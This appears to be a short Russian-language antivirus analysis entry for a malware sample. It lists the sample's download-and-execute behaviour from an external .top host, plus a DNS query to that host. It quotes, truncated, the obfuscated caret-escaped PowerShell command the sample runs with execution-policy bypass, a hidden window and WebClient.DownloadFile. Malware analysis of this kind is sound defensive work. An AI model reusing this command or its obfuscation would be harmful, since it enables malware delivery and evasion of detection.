Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zofelaseo.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^we^RshE^lL.e^xe -^E^XEcutI^onPO^L^Ic^y ^byPAS^s ^-n^oPr^ofi^lE -^Windo^W^stY^L^e^ hidD^EN^ ^(NEw-o^bj^E^CT ^sy^St^E^m^.^ne^t^.WEBc^LiEnT^)^.DOwNloADF^i^Le^('http://zofela...
Сетевая активность
UDP
- DNS ASK zo###aseo.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^we^RshE^lL.e^xe -^E^XEcutI^onPO^L^Ic^y ^byPAS^s ^-n^oPr^ofi^lE -^Windo^W^stY^L^e^ hidD^EN^ ^(NEw-o^bj^E^CT ^sy^St^E^m^.^ne^t^.WEBc^LiEnT^)^.DOwNloADF^i^Le^('http://zofela...' (со скрытым окном)
